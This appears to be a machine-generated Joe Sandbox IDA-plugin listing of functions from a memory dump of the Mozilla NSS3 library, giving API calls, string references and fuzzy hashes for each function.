Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpymemset
String ID:
API String ID: 1594507116-0
Opcode ID: 3e2eb66dfd04e3bc7b92773d753af9a60f451d6b89c31faae2f6101c3e8e38cf
Instruction ID: 8ea98e62acd333a62dc35a44a7000292cdb193ed94f45bafa86cd59b97e65140
Opcode Fuzzy Hash: 3e2eb66dfd04e3bc7b92773d753af9a60f451d6b89c31faae2f6101c3e8e38cf
Instruction Fuzzy Hash: 6731F4B0E013149BFF109E68DC61BAA36ACEB46318F044038E905DF789E779C84887A2

Function 6CA92E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CA8E728,?,00000038,?,?,00000000), ref: 6CA92E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA92E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA92E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CA92E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CA92E9E
PR_Unlock.NSS3(?), ref: 6CA92EAB
PR_Unlock.NSS3(?), ref: 6CA92F0D

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ef5d1843abcf04309ef9baa2ff1b1e2801075b3f405d3402cf4c4548e394d433
Instruction ID: 657b9ca3dcebd2f537ab49ac257fce9e5cc957db2e142c1eda6942f691bea028
Opcode Fuzzy Hash: ef5d1843abcf04309ef9baa2ff1b1e2801075b3f405d3402cf4c4548e394d433
Instruction Fuzzy Hash: E231F975A005059BEB01AF78EC858BABBB5FF55258B088274EC18C7B11EB31EDA4C7D1

Function 6CAC4470 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6CA87296,00000000), ref: 6CAC4487
EnterCriticalSection.KERNEL32(?,?,?,6CA87296,00000000), ref: 6CAC44A0
PR_Unlock.NSS3(?,?,?,?,6CA87296,00000000), ref: 6CAC44BB
SECMOD_DestroyModule.NSS3(?,?,?,?,6CA87296,00000000), ref: 6CAC44DA
DeleteCriticalSection.KERNEL32(?,?,?,?,6CA87296,00000000), ref: 6CAC4530
free.MOZGLUE(?,?,?,?,?,6CA87296,00000000), ref: 6CAC453C
PORT_FreeArena_Util.NSS3 ref: 6CAC454F

Part of subcall function 6CAACAA0: PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6CA8B1EE,D958E836,?,6CAC51C5), ref: 6CAACAFA
Part of subcall function 6CAACAA0: PR_UnloadLibrary.NSS3(?,6CAC51C5), ref: 6CAACB09

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalSection$Arena_DeleteDestroyEnterFreeLibraryModuleSecureUnloadUnlockUtilValuefree
String ID:
API String ID: 3590924995-0
Opcode ID: ffee1aa00b355ce5b9abb6d1a372eb9f743403fa843be8c66f560ee41fa4e318
Instruction ID: f75f3b29eebf53b22bb429742135efe7f5ebf33dbb45d55a754b787018444a02
Opcode Fuzzy Hash: ffee1aa00b355ce5b9abb6d1a372eb9f743403fa843be8c66f560ee41fa4e318
Instruction Fuzzy Hash: B5316BB4B04A058FDB00AF79C188669BBF0FF09318F054629D89997B00E735E8D8CBC6

Function 6CADCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CADCD93,?), ref: 6CADCEEE

Part of subcall function 6CAD14C0: TlsGetValue.KERNEL32 ref: 6CAD14E0
Part of subcall function 6CAD14C0: EnterCriticalSection.KERNEL32 ref: 6CAD14F5
Part of subcall function 6CAD14C0: PR_Unlock.NSS3 ref: 6CAD150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CADCD93,?), ref: 6CADCEFC

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
Part of subcall function 6CAD10C0: PR_Unlock.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1182
Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CADCD93,?), ref: 6CADCF0B

Part of subcall function 6CAD0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAD08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CADCD93,?), ref: 6CADCF1D

Part of subcall function 6CACFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAC8D2D,?,00000000,?), ref: 6CACFB85
Part of subcall function 6CACFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CACFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CADCD93,?), ref: 6CADCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CADCD93,?), ref: 6CADCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CADCD93,?,?,?,?,?,?,?,?,?,?,?,6CADCD93,?), ref: 6CADCF78

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 1168de477d535d86847c37c4adf62d5e7ebf815ba726e574999404cd00fa6490
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 5811D2B5A003005BEB00AAA66D41BBBB6EC9F5815DF054039ED09D7741FB60EA4D86B2

Function 6CA88C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA88C1B
EnterCriticalSection.KERNEL32 ref: 6CA88C34
PL_ArenaAllocate.NSS3 ref: 6CA88C65
PR_Unlock.NSS3 ref: 6CA88C9C
PR_Unlock.NSS3 ref: 6CA88CB6

Part of subcall function 6CB1DD70: TlsGetValue.KERNEL32 ref: 6CB1DD8C
Part of subcall function 6CB1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB1DDB4

Strings

KRAM, xrefs: 6CA88C8F

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: e3d6e9c0e4af1fbf37c9c08a9ea98de55d1d8d859c277bce0d84f6e6b29e73b0
Instruction ID: 486fa957bf549a50f34273c18d6510e14ac18a1b7868b376b1d01b9cbc0b24f0
Opcode Fuzzy Hash: e3d6e9c0e4af1fbf37c9c08a9ea98de55d1d8d859c277bce0d84f6e6b29e73b0
Instruction Fuzzy Hash: DB217FF1A066118FD700AF79C484559BBF4FF05308F05896ED8888B715EB35E8C9CB92

Function 6CB1A540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6CB1A390: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB1A415

PK11_ExtractKeyValue.NSS3(00000000), ref: 6CB1A5AC
memcpy.VCRUNTIME140(?,?,?), ref: 6CB1A5BF
PK11_FreeSymKey.NSS3(00000000), ref: 6CB1A5C8

Part of subcall function 6CABADC0: TlsGetValue.KERNEL32(?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE10
Part of subcall function 6CABADC0: EnterCriticalSection.KERNEL32(?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE24
Part of subcall function 6CABADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CA9D079,00000000,00000001), ref: 6CABAE5A
Part of subcall function 6CABADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE6F
Part of subcall function 6CABADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAE7F
Part of subcall function 6CABADC0: TlsGetValue.KERNEL32(?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAEB1
Part of subcall function 6CABADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CA9CDBB,?,6CA9D079,00000000,00000001), ref: 6CABAEC9

PK11_FreeSymKey.NSS3(00000000), ref: 6CB1A5D9
PR_SetError.NSS3(FFFFD04C,00000000), ref: 6CB1A5E8

Strings

*@, xrefs: 6CB1A589

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterErrorFreeSection$ExtractUnlockfreememcpymemset
String ID: *@
API String ID: 2660593509-1483644743
Opcode ID: 87d5a72829e138fce426c8f232198497972f9e2229998b7380f1c53126035cbc
Instruction ID: b8c0531e18f63a53806176703bd684af59129af01e4314013121021c786612a6
Opcode Fuzzy Hash: 87d5a72829e138fce426c8f232198497972f9e2229998b7380f1c53126035cbc
Instruction Fuzzy Hash: 2B21F3B1C082449BC7009F29AD0169FBBB4AF9832CF014228EC5873B41E734AA4C8BD2

Function 6CB82C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CB82CA0
PR_ExitMonitor.NSS3 ref: 6CB82CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CB82CD1
strdup.MOZGLUE(?), ref: 6CB82CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CB82D27

Strings

Loaded library %s (static lib), xrefs: 6CB82D22

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: f80c8349936587e0dec34d8ea45db2b60eeb62827512c1683d846b54f1902735
Instruction ID: 06d3a73a639074c93fe2c5739bac7cd92328ba9cc20005027efc5645a9698caa
Opcode Fuzzy Hash: f80c8349936587e0dec34d8ea45db2b60eeb62827512c1683d846b54f1902735
Instruction Fuzzy Hash: 2B11C8B5B022909FEB108F15D85866A7BB8EB4535DF18813DE809C7B41D731E848CFA3

Function 6CAD0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA787ED,00000800,6CA6EF74,00000000), ref: 6CAD1000
PR_NewLock.NSS3(?,00000800,6CA6EF74,00000000), ref: 6CAD1016

Part of subcall function 6CB398D0: calloc.MOZGLUE(00000001,00000084,6CA60936,00000001,?,6CA6102C), ref: 6CB398E5

PL_InitArenaPool.NSS3(00000000,security,6CA787ED,00000008,?,00000800,6CA6EF74,00000000), ref: 6CAD102B
TlsGetValue.KERNEL32(00000000,?,?,6CA787ED,00000800,6CA6EF74,00000000), ref: 6CAD1044
free.MOZGLUE(00000000,?,00000800,6CA6EF74,00000000), ref: 6CAD1064

Strings

security, xrefs: 6CAD1025

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 0335b17a9feb910c64f4b24ea8acb020ed9f347b6006852e79018705caab4eb3
Instruction ID: 371e238385e3fc283173e91d9f67fd5e6f3330e96634d89f440e07abcce59613
Opcode Fuzzy Hash: 0335b17a9feb910c64f4b24ea8acb020ed9f347b6006852e79018705caab4eb3
Instruction Fuzzy Hash: 45016B30A4029057E7203F3D8C087663A78FF06769F060115EA0897E51EB70F2D8DBD1

Function 6CB00570 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CAEC89B,FFFFFE80,?,6CAEC89B), ref: 6CB0058B
free.MOZGLUE(?,?,6CAEC89B), ref: 6CB00592
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6CAEC89B), ref: 6CB005AE
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6CAEC89B), ref: 6CB005C2
DeleteCriticalSection.KERNEL32(6CAEC89B,?,6CAEC89B), ref: 6CB005D8
free.MOZGLUE(?,?,6CAEC89B), ref: 6CB005DF
PR_SetError.NSS3(FFFFE09A,00000000,?,6CAEC89B), ref: 6CB005FB

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Error$CriticalDeleteSectionfree$Value
String ID:
API String ID: 1757055810-0
Opcode ID: 42aa58cbe89669df6f2ba9602db4890653e861ce0bf53e9332cddc993db504ae
Instruction ID: c09b3da699658c53ee72f68ca7fa2b5a263b4ec5bdd6a4b4b64119c27d02680e
Opcode Fuzzy Hash: 42aa58cbe89669df6f2ba9602db4890653e861ce0bf53e9332cddc993db504ae
Instruction Fuzzy Hash: 2901D4B1B0A2D05BEE20AFE4AC0DB4E7F789B1A319F000420F50A57F40D765AA0987A7

Function 6CAC8780 Relevance: 10.5, APIs: 7, Instructions: 44COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?,6CA7518F,?,-00000001,?,6CA761C4,?,6CA75FA7), ref: 6CAC8790
DeleteCriticalSection.KERNEL32(?,?,?,?,6CA7518F,?,-00000001,?,6CA761C4,?,6CA75FA7), ref: 6CAC87AB
free.MOZGLUE(?,?,6CA7518F,?,-00000001,?,6CA761C4,?,6CA75FA7), ref: 6CAC87B2
DeleteCriticalSection.KERNEL32(0000000D,?,?,?,6CA7518F,?,-00000001,?,6CA761C4,?,6CA75FA7), ref: 6CAC87CD
free.MOZGLUE(00000001,?,6CA7518F,?,-00000001,?,6CA761C4,?,6CA75FA7), ref: 6CAC87D4
DeleteCriticalSection.KERNEL32(?,?,?,?,6CA7518F,?,-00000001,?,6CA761C4,?,6CA75FA7), ref: 6CAC87E7
free.MOZGLUE(?,?,6CA7518F,?,-00000001,?,6CA761C4,?,6CA75FA7), ref: 6CAC87EE

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 5331d3ee12cc67e65ff59b3e45e6b535bb8afe3ba2b023ccc61820f4bd4b7d84
Instruction ID: b45ac6501453b739fb05e79980c23fe28ef648590fb062807f95ca12799f641d
Opcode Fuzzy Hash: 5331d3ee12cc67e65ff59b3e45e6b535bb8afe3ba2b023ccc61820f4bd4b7d84
Instruction Fuzzy Hash: F301D8B5700A059BCA10EFA5C80C8577778BF5E7B13140229F43A83A40E731F222CBD5

Function 6CB12E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB13046

Part of subcall function 6CAFEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAFEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CAE7FFB), ref: 6CB1312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB13154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB12E8B

Part of subcall function 6CB1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB1C2BF

Part of subcall function 6CAFF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CAE9BFF,?,00000000,00000000), ref: 6CAFF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CAE7FFA), ref: 6CB12EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB1317B

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 36987e9a39552b328f87333b475e298e113a3c63aae86551c4a153e164fdf876
Instruction ID: bf23ebe4cc6f70494e5b706f43c517624091239f823ea4062eaf986bdcd194f3
Opcode Fuzzy Hash: 36987e9a39552b328f87333b475e298e113a3c63aae86551c4a153e164fdf876
Instruction Fuzzy Hash: 93A1BC75A042189FDF24CF54CC84BEAB7B5EF49308F048199E94967B41E731AA89CF92

Function 6CADED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CADED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CADEDCE

Part of subcall function 6CAD0BE0: malloc.MOZGLUE(6CAC8D2D,?,00000000,?), ref: 6CAD0BF8
Part of subcall function 6CAD0BE0: TlsGetValue.KERNEL32(6CAC8D2D,?,00000000,?), ref: 6CAD0C15

free.MOZGLUE(00000000,?,?,?,?,6CADB04F), ref: 6CADEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CADEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CADEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CADEEFB

Memory Dump Source

Source File: 00000000.00000002.2713568659.000000006C9F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C9F0000, based on PE: true

Associated: 00000000.00000002.2713508704.000000006C9F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714453290.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714560300.000000006CBCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714583672.000000006CBD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9f0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: f3c3fd4e32db82dd41e3799b24374ac59d6d70f7bd42bf4b0aa24c333203d622
Instruction ID: ed43632fe799c5628da407a1d46f337887e031d90339de091a115b21178ec9e6
Opcode Fuzzy Hash: f3c3fd4e32db82dd41e3799b24374ac59d6d70f7bd42bf4b0aa24c333203d622
Instruction Fuzzy Hash: 68816DB5A002059FEB14CF55DD84AABB7F5BF48308F19442CE8259B751DB30F994CBA1

Function 6CADCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CADC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CADDAE2,?), ref: 6CADC6C2

PR_Now.NSS3 ref: 6CADCD35

Part of subcall function 6CB39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CB80A27), ref: 6CB39DC6
Part of subcall function 6CB39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CB80A27), ref: 6CB39DD1
Part of subcall function 6CB39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB39DED

Part of subcall function 6CAC6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA71C6F,00000000,00000004,?,?), ref: 6CAC6C3F

PR_GetCurrentThread.NSS3 ref: 6CADCD54

Part of subcall function 6CB39BF0: TlsGetValue.KERNEL32(?,?,?,6CB80A75), ref: 6CB39C07

Part of subcall function 6CAC7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA71CCC,00000000,00000000,?,?), ref: 6CAC729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CADCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CADCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CADCE2C

Part of subcall function 6CAD10C0: TlsGetValue.KERNEL32(?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD10F3
Part of subcall function 6CAD10C0: EnterCriticalSection.KERNEL32(?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD110C
Part of subcall function 6CAD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA78802,00000000,00000008,?,6CA6EF74,00000000), ref: 6CAD1141
